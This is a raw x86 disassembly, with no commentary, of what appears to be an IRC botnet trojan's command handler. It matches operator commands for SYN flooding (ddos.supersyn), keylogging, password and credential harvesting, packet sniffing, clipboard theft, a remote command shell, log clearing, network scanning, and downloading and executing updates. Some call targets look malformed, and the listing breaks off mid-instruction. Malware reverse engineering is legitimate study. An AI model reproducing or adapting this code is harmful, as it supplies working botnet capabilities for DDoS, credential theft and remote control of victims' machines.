push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_43278C jnz short loc_410249 mov eax, offset dword_432758 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_432698 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 2610F93h nop jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 2650B3Dh push eax push offset unk_43264C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_432520 loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aScanall ; "scanall" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_432250 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432210 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h nop call near ptr 2610F93h jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj nop call near ptr 2650B3Dh push eax push offset unk_4321C4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_432178 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_432140 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_4320E0 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4320A4 loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_432074 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432044 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h nop call near ptr 2610F93h jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j nop call near ptr 2650B3Dh push eax push offset unk_431FF8 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43AE68, ebx jz short loc_410EB2 cmp dword_43AE90, ebx jz short loc_410EB2 push offset dword_431FA8 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_431F6C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_431F3C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_431EE0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_431EB0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_431E78 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_431E4C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4852j ; sub_40EE72+4B79j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_431E1C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_431DF0 loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4847j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B35j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aCom_execute ; "com.execute" call 